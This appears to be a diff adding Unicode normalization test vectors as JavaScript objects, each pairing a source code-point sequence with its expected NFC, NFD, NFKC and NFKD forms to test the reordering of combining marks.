+{ source: [0x0061, 0x0F71, 0x0EC8, 0x0EB8, 0x0EC8, 0x0062], NFC: [0x0061, 0x0EB8, 0x0EC8, 0x0EC8, 0x0F71, 0x0062], NFD: [0x0061, 0x0EB8, 0x0EC8, 0x0EC8, 0x0F71, 0x0062], NFKC: [0x0061, 0x0EB8, 0x0EC8, 0x0EC8, 0x0F71, 0x0062], NFKD: [0x0061, 0x0EB8, 0x0EC8, 0x0EC8, 0x0F71, 0x0062] },
+{ source: [0x0061, 0x0EC8, 0x0F71, 0x0EC8, 0x0EB8, 0x0062], NFC: [0x0061, 0x0EB8, 0x0EC8, 0x0EC8, 0x0F71, 0x0062], NFD: [0x0061, 0x0EB8, 0x0EC8, 0x0EC8, 0x0F71, 0x0062], NFKC: [0x0061, 0x0EB8, 0x0EC8, 0x0EC8, 0x0F71, 0x0062], NFKD: [0x0061, 0x0EB8, 0x0EC8, 0x0EC8, 0x0F71, 0x0062] },
+{ source: [0x0061, 0x0F71, 0x0EC8, 0x0EB8, 0x0EC9, 0x0062], NFC: [0x0061, 0x0EB8, 0x0EC8, 0x0EC9, 0x0F71, 0x0062], NFD: [0x0061, 0x0EB8, 0x0EC8, 0x0EC9, 0x0F71, 0x0062], NFKC: [0x0061, 0x0EB8, 0x0EC8, 0x0EC9, 0x0F71, 0x0062], NFKD: [0x0061, 0x0EB8, 0x0EC8, 0x0EC9, 0x0F71, 0x0062] },
+{ source: [0x0061, 0x0EC9, 0x0F71, 0x0EC8, 0x0EB8, 0x0062], NFC: [0x0061, 0x0EB8, 0x0EC9, 0x0EC8, 0x0F71, 0x0062], NFD: [0x0061, 0x0EB8, 0x0EC9, 0x0EC8, 0x0F71, 0x0062], NFKC: [0x0061, 0x0EB8, 0x0EC9, 0x0EC8, 0x0F71, 0x0062], NFKD: [0x0061, 0x0EB8, 0x0EC9, 0x0EC8, 0x0F71, 0x0062] },
+{ source: [0x0061, 0x0F71, 0x0EC8, 0x0EB8, 0x0ECA, 0x0062], NFC: [0x0061, 0x0EB8, 0x0EC8, 0x0ECA, 0x0F71, 0x0062], NFD: [0x0061, 0x0EB8, 0x0EC8, 0x0ECA, 0x0F71, 0x0062], NFKC: [0x0061, 0x0EB8, 0x0EC8, 0x0ECA, 0x0F71, 0x0062], NFKD: [0x0061, 0x0EB8, 0x0EC8, 0x0ECA, 0x0F71, 0x0062] },
+{ source: [0x0061, 0x0ECA, 0x0F71, 0x0EC8, 0x0EB8, 0x0062], NFC: [0x0061, 0x0EB8, 0x0ECA, 0x0EC8, 0x0F71, 0x0062], NFD: [0x0061, 0x0EB8, 0x0ECA, 0x0EC8, 0x0F71, 0x0062], NFKC: [0x0061, 0x0EB8, 0x0ECA, 0x0EC8, 0x0F71, 0x0062], NFKD: [0x0061, 0x0EB8, 0x0ECA, 0x0EC8, 0x0F71, 0x0062] },
+{ source: [0x0061, 0x0F71, 0x0EC8, 0x0EB8, 0x0ECB, 0x0062], NFC: [0x0061, 0x0EB8, 0x0EC8, 0x0ECB, 0x0F71, 0x0062], NFD: [0x0061, 0x0EB8, 0x0EC8, 0x0ECB, 0x0F71, 0x0062], NFKC: [0x0061, 0x0EB8, 0x0EC8, 0x0ECB, 0x0F71, 0x0062], NFKD: [0x0061, 0x0EB8, 0x0EC8, 0x0ECB, 0x0F71, 0x0062] },
+{ source: [0x0061, 0x0ECB, 0x0F71, 0x0EC8, 0x0EB8, 0x0062], NFC: [0x0061, 0x0EB8, 0x0ECB, 0x0EC8, 0x0F71, 0x0062], NFD: [0x0061, 0x0EB8, 0x0ECB, 0x0EC8, 0x0F71, 0x0062], NFKC: [0x0061, 0x0EB8, 0x0ECB, 0x0EC8, 0x0F71, 0x0062], NFKD: [0x0061, 0x0EB8, 0x0ECB, 0x0EC8, 0x0F71, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0F18, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0F18, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0F18, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0F18, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0F18, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0F18, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0F18, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0F18, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0F18, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0F18, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0F19, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0F19, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0F19, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0F19, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0F19, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0F19, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0F19, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0F19, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0F19, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0F19, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0F35, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0F35, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0F35, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0F35, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0F35, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0F35, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0F35, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0F35, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0F35, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0F35, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0F37, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0F37, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0F37, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0F37, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0F37, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0F37, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0F37, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0F37, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0F37, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0F37, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1DFA, 0x031B, 0x1DCE, 0x0F39, 0x0062], NFC: [0x0061, 0x1DCE, 0x031B, 0x0F39, 0x1DFA, 0x0062], NFD: [0x0061, 0x1DCE, 0x031B, 0x0F39, 0x1DFA, 0x0062], NFKC: [0x0061, 0x1DCE, 0x031B, 0x0F39, 0x1DFA, 0x0062], NFKD: [0x0061, 0x1DCE, 0x031B, 0x0F39, 0x1DFA, 0x0062] },
+{ source: [0x0061, 0x0F39, 0x1DFA, 0x031B, 0x1DCE, 0x0062], NFC: [0x0061, 0x1DCE, 0x0F39, 0x031B, 0x1DFA, 0x0062], NFD: [0x0061, 0x1DCE, 0x0F39, 0x031B, 0x1DFA, 0x0062], NFKC: [0x0061, 0x1DCE, 0x0F39, 0x031B, 0x1DFA, 0x0062], NFKD: [0x0061, 0x1DCE, 0x0F39, 0x031B, 0x1DFA, 0x0062] },
+{ source: [0x0061, 0x0F72, 0x0F71, 0x0EC8, 0x0F71, 0x0062], NFC: [0x0061, 0x0EC8, 0x0F71, 0x0F71, 0x0F72, 0x0062], NFD: [0x0061, 0x0EC8, 0x0F71, 0x0F71, 0x0F72, 0x0062], NFKC: [0x0061, 0x0EC8, 0x0F71, 0x0F71, 0x0F72, 0x0062], NFKD: [0x0061, 0x0EC8, 0x0F71, 0x0F71, 0x0F72, 0x0062] },
+{ source: [0x0061, 0x0F71, 0x0F72, 0x0F71, 0x0EC8, 0x0062], NFC: [0x0061, 0x0EC8, 0x0F71, 0x0F71, 0x0F72, 0x0062], NFD: [0x0061, 0x0EC8, 0x0F71, 0x0F71, 0x0F72, 0x0062], NFKC: [0x0061, 0x0EC8, 0x0F71, 0x0F71, 0x0F72, 0x0062], NFKD: [0x0061, 0x0EC8, 0x0F71, 0x0F71, 0x0F72, 0x0062] },
+{ source: [0x0061, 0x0F74, 0x0F72, 0x0F71, 0x0F72, 0x0062], NFC: [0x0061, 0x0F71, 0x0F72, 0x0F72, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F72, 0x0F72, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F72, 0x0F72, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F72, 0x0F72, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0F72, 0x0F74, 0x0F72, 0x0F71, 0x0062], NFC: [0x0061, 0x0F71, 0x0F72, 0x0F72, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F72, 0x0F72, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F72, 0x0F72, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F72, 0x0F72, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0321, 0x0F74, 0x0F72, 0x0F74, 0x0062], NFC: [0x0061, 0x0F72, 0x0F74, 0x0F74, 0x0321, 0x0062], NFD: [0x0061, 0x0F72, 0x0F74, 0x0F74, 0x0321, 0x0062], NFKC: [0x0061, 0x0F72, 0x0F74, 0x0F74, 0x0321, 0x0062], NFKD: [0x0061, 0x0F72, 0x0F74, 0x0F74, 0x0321, 0x0062] },
+{ source: [0x0061, 0x0F74, 0x0321, 0x0F74, 0x0F72, 0x0062], NFC: [0x0061, 0x0F72, 0x0F74, 0x0F74, 0x0321, 0x0062], NFD: [0x0061, 0x0F72, 0x0F74, 0x0F74, 0x0321, 0x0062], NFKC: [0x0061, 0x0F72, 0x0F74, 0x0F74, 0x0321, 0x0062], NFKD: [0x0061, 0x0F72, 0x0F74, 0x0F74, 0x0321, 0x0062] },
+{ source: [0x0061, 0x0F74, 0x0F72, 0x0F71, 0x0F7A, 0x0062], NFC: [0x0061, 0x0F71, 0x0F72, 0x0F7A, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F72, 0x0F7A, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F72, 0x0F7A, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F72, 0x0F7A, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0F7A, 0x0F74, 0x0F72, 0x0F71, 0x0062], NFC: [0x0061, 0x0F71, 0x0F7A, 0x0F72, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F7A, 0x0F72, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F7A, 0x0F72, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F7A, 0x0F72, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0F74, 0x0F72, 0x0F71, 0x0F7B, 0x0062], NFC: [0x0061, 0x0F71, 0x0F72, 0x0F7B, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F72, 0x0F7B, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F72, 0x0F7B, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F72, 0x0F7B, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0F7B, 0x0F74, 0x0F72, 0x0F71, 0x0062], NFC: [0x0061, 0x0F71, 0x0F7B, 0x0F72, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F7B, 0x0F72, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F7B, 0x0F72, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F7B, 0x0F72, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0F74, 0x0F72, 0x0F71, 0x0F7C, 0x0062], NFC: [0x0061, 0x0F71, 0x0F72, 0x0F7C, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F72, 0x0F7C, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F72, 0x0F7C, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F72, 0x0F7C, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0F7C, 0x0F74, 0x0F72, 0x0F71, 0x0062], NFC: [0x0061, 0x0F71, 0x0F7C, 0x0F72, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F7C, 0x0F72, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F7C, 0x0F72, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F7C, 0x0F72, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0F74, 0x0F72, 0x0F71, 0x0F7D, 0x0062], NFC: [0x0061, 0x0F71, 0x0F72, 0x0F7D, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F72, 0x0F7D, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F72, 0x0F7D, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F72, 0x0F7D, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0F7D, 0x0F74, 0x0F72, 0x0F71, 0x0062], NFC: [0x0061, 0x0F71, 0x0F7D, 0x0F72, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F7D, 0x0F72, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F7D, 0x0F72, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F7D, 0x0F72, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0F74, 0x0F72, 0x0F71, 0x0F80, 0x0062], NFC: [0x0061, 0x0F71, 0x0F72, 0x0F80, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F72, 0x0F80, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F72, 0x0F80, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F72, 0x0F80, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0F80, 0x0F74, 0x0F72, 0x0F71, 0x0062], NFC: [0x0061, 0x0F71, 0x0F80, 0x0F72, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F80, 0x0F72, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F80, 0x0F72, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F80, 0x0F72, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0F82, 0x0062], NFC: [0x00E0, 0x05AE, 0x0F82, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0F82, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0F82, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0F82, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0F82, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0F82, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0F82, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0F82, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0F82, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0F83, 0x0062], NFC: [0x00E0, 0x05AE, 0x0F83, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0F83, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0F83, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0F83, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0F83, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0F83, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0F83, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0F83, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0F83, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0F84, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0F84, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0F84, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0F84, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0F84, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0F84, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0F84, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0F84, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0F84, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0F84, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0F86, 0x0062], NFC: [0x00E0, 0x05AE, 0x0F86, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0F86, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0F86, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0F86, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0F86, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0F86, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0F86, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0F86, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0F86, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0F87, 0x0062], NFC: [0x00E0, 0x05AE, 0x0F87, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0F87, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0F87, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0F87, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0F87, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0F87, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0F87, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0F87, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0F87, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0FC6, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0FC6, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0FC6, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0FC6, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0FC6, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0FC6, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0FC6, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0FC6, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0FC6, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0FC6, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x1037, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x1037, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x1037, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x1037, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x1037, 0x3099, 0x0062] },
+{ source: [0x0061, 0x1037, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x1037, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x1037, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x1037, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x1037, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1039, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1039, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1039, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1039, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1039, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1039, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1039, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1039, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1039, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1039, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x103A, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x103A, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x103A, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x103A, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x103A, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x103A, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x103A, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x103A, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x103A, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x103A, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x108D, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x108D, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x108D, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x108D, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x108D, 0x059A, 0x0062] },
+{ source: [0x0061, 0x108D, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x108D, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x108D, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x108D, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x108D, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x135D, 0x0062], NFC: [0x00E0, 0x05AE, 0x135D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x135D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x135D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x135D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x135D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x135D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x135D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x135D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x135D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x135E, 0x0062], NFC: [0x00E0, 0x05AE, 0x135E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x135E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x135E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x135E, 0x0315, 0x0062] },
+{ source: [0x0061, 0x135E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x135E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x135E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x135E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x135E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x135F, 0x0062], NFC: [0x00E0, 0x05AE, 0x135F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x135F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x135F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x135F, 0x0315, 0x0062] },
+{ source: [0x0061, 0x135F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x135F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x135F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x135F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x135F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1714, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1714, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1714, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1714, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1714, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1714, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1714, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1714, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1714, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1714, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1715, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1715, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1715, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1715, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1715, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1715, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1715, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1715, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1715, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1715, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1734, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1734, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1734, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1734, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1734, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1734, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1734, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1734, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1734, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1734, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x17D2, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x17D2, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x17D2, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x17D2, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x17D2, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x17D2, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x17D2, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x17D2, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x17D2, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x17D2, 0x094D, 0x05B0, 0x0062] },
